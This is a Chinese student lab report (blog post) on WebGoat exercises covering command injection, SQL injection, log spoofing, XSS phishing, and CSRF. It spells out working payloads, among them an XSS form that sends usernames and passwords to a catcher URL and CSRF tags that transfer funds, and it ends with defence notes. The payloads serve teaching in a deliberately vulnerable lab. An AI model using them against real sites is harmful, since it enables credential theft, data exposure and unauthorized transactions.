2019-2020-2 20175230滕星《网络对抗技术》Exp9 Web安全基础

实践内容

  • 1.WebGoat安装
  • 2.SQL注入攻击
    • 命令注入(Command Injection)
    • 数字型注入(Numeric SQL Injection)
    • 日志欺骗(Log Spoofing)
    • 字符串注入(String SQL Injection)
    • SQL 注入(LAB: SQL Injection)
    • 数据库后门(Database Backdoors)
    • 数字型盲注入(Blind Numeric SQL Injection)
  • 3.XSS攻击
    • XSS 钓鱼(Phishing with XSS)
    • 存储型XSS攻击(Stored XSS Attacks)
    • 反射型XSS攻击(Reflected XSS Attacks)
  • 4.CSRF攻击
    • 跨站请求伪造(Cross Site Request Forgery (CSRF))
    • 绕过 CSRF 确认( CSRF Prompt By‐Pass)

实验过程

任务一 WebGoat安装及环境搭建

  • 1.WebGoat下载地址

  • 2.在下载目录下运行终端输入命令java -jar webgoat-container-7.1-exec.jar

  • 3.当终端中出现Starting ProtocolHandler ["http-bio-8080"]时,WebGoat搭建完毕(不要关闭终端)

  • 4.在浏览器中输入http://127.0.0.1:8080/WebGoat/login.mvc,进入登录界面,下面有提供guest直接登录即可

  • 5.由于没有安装JDK 1.8 登录上述步骤4中后,没有课程,因此得安装JDK 1.8 参考链接,安装完之后即可,下图为配置完后的截图

  • 6.登陆成功后,可在网页左侧挑选想要进行的课程。

任务二 SQL注入攻击

(一).命令注入--Command Injection

原理 命令注入攻击是在正常的参数提交过程中,添加恶意的代码的攻击方法,它向操作系统注入命令,使用系统命令获取文件的内容,它对针对任何一个以参数驱动的站点,技术方法简单易学,能造成大范围的损害,危及系统安全,尽管这类风险数目很多,但互联网中的系统很容易受到这种形>>式的攻击。

  • 1.在菜单栏中选择Injection Flaws,展开页面中选择Command Injection

  • 2.右键表单选择框的下拉框,选择Inspect Element审查网页元素,然后修改源代码

  • 3.在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& ps -ef"

  • 4.保存后下拉框中可以看到我们刚刚修改的选项,点击view,可以看到进程信息

(二)数字型注入--Numeric SQL Injection

原理 注入数字型数据(如:永真式)达到注入的效果,在station字段中注入特征字符,组合成新的SQL语句。如:SELECT * FROM weather_data WHERE station = [station]

  • 1.在菜单栏中选择Injection Flaws,展开页面中选择Numeric SQL Injection

  • 2.右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

  • 3.SQL语句变为了SELECT * FROM weather_data WHERE station = 101 or 1 = 1,后面是永真式。所以这样会执行语句SELECT * FROM weather_data,这样点击Go! 即可显示所有城市的天气情况。

(三)日志欺骗--Log Spoofing

原理 添加假的日志信息来迷惑操作系统,目的是让用户名admin成功登录,通过在日志文件中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹,攻击者还可以利用这种方式向日志文件中添加恶意脚本

  • 1.在User Name输入tx%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是换行

(四)字符串注入--String SQL Injection

原理 下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。和数字型一样,我们的目的是构建一个永真式

  • 1.由于字符串在数据库中是由'构成的,我们在last name中输入Smith' OR '1'='1所有的用户信息被输出

(五)实验室stage1--String SQL Injection

  • 1.对源代码进行修改,将password密码框的最大长度限制改为20或更大

  • 2.以用户Neville(admit)登录,输入密码hello' or '1' = '1,成功得到所有人员列表

(六)实验室stage3--Numeric SQL Injection

  • 1.目的是用员工的账户登录,浏览boss的账户

  • 2.首先用Larry的账号登录,密码(larry)

  • 3.点击ViewProfile可以查看用户信息,那么我们要做的,就是点击这个按钮后跳转到boss的信息。

  • 4.在多行文本框中被选中的员工Larry Stooge(employee)上右键审查网页元素查看网页源代码,可以看到索引的依据是员工ID,可是我们不知道老板的ID怎么办?数据库中可以使用排序来筛选信息,而老板一般工资都是最高的,将id的value改成101 or 1=1 order by salary desc

  • 5.点击ViewProfile,成功得到老板的账户信息

(七)数据库后门--Database Backdoors

原理 数据库通常作为一个 Web 应用程序的后端,它可以被用来作为存储恶意活动的地方,如触发器,可以利用查询的脆弱性创建触发器

  • 1.根据提示,输入id为101,我们可以看到插入查询语句的字符串没有经过任何处理,可以输入多条语句进行增、删、改、查

  • 2.输入注入语句101; update employee set Password=5230执行,可以看见密码框变为了设置的密码

(八)数字型盲注入--Blind Numeric SQL Injection

  • 1.目的是知道pin在pins 表里的值,先尝试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的,不断用二分法进行测试,发现pin为2364

任务三 XSS攻击

(一)XSS 钓鱼(Phishing with XSS)

原理 如果有权限操作页面源代码,HTML文档的内容是可以被篡改的,当用户输入非法HTTP响应时容易受到XSS攻击,在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容, 对于受害者来说很难发现该内容是否存在威胁

  • 1.设计一个简单的登录界面获取用户名和密码并发送到指定地方,被攻击者填写一个表格,服务器以读取脚本的形式,将收集到的信息发送给攻击者
  • 2.将以下代码复制到搜索框里进行搜索
<form><script>function hack()
{
    XSSImage=new Image;
    XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);
} </script><form name="phish"><br><br><HR><H3>This feature requires account login:
                      </H3 ><br><br>Enter Username:
                      <br><input type="text" name="user"><br>Enter Password:
                                      <br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
  • 3.点击搜索,看到下面有个登录界面,登录提示

(二)存储型XSS攻击(Stored XSS Attacks)

原理 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中.因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

  • 1.在title中任意输入tx。在Message中输入代码<script>alert('20175230tx')</script>
    然后下面会出现tx的链接,点击该链接,由其他人浏览,就会弹出一个对话框,写着20175230tx,证明XSS攻击成功

(三)反射型XSS攻击--Reflected XSS Attacks

原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

  • 步骤:输入代码<script>alert("tengixng20175230");</script>,点击purse的同时页面就给出了反馈:

任务四 CSRF攻击

(一)

原理 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段,通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能

  • 步骤 根据当前访问URL中的scr和menu在消息框中嵌入HTML代码<img src="http://localhost/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
    提交后会发现链接,点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了

(二)绕过 CSRF 确认--CSRF Prompt By‐Pass

原理 跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令,提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它

  • 步骤 与上一个攻击相似,查看页面右侧Parameters中的src和menu值分别为1471017872和900,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>

在Message List中生成以title命名的链接,点击进入后,攻击成功

实验结论

实践体会

本实验中的内容比较多,如果没有组长及学长的博客,自己很难做出来,这些内容中,由于之前学过一点SQL注入攻击,所以比较熟悉,而SXX攻击和CSRF攻击是第一次接触,比较陌生,在做完此次实践后理解了一些原理和操作方法,但距离掌握还有一段距离;本实践是本学期最后一个实践了,这门课是我上过的实验最多的课,也是做实验最认真的课,我发现自己在家做实验比在学校做实验的效果要好上很多,可能是因为次课程实验比较有趣吧,相信以后应该会用到本课所学到的知识。

基础问题回答

  • (1)SQL注入攻击原理,如何防御
    原理:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
    防御:增加对于特殊字符串的检查;使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤
  • (2)XSS攻击的原理,如何防御
    原理:通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
    防御:过滤掉特殊的html标签,过滤掉Javascript事件标签
  • (3)CSRF攻击原理,如何防御
    原理:攻击者利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,脚本伪造受害者发送了一个合法请求。
    防御:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。
posted @ 2020-05-28 14:40  20175230滕星  阅读(154)  评论(0编辑  收藏  举报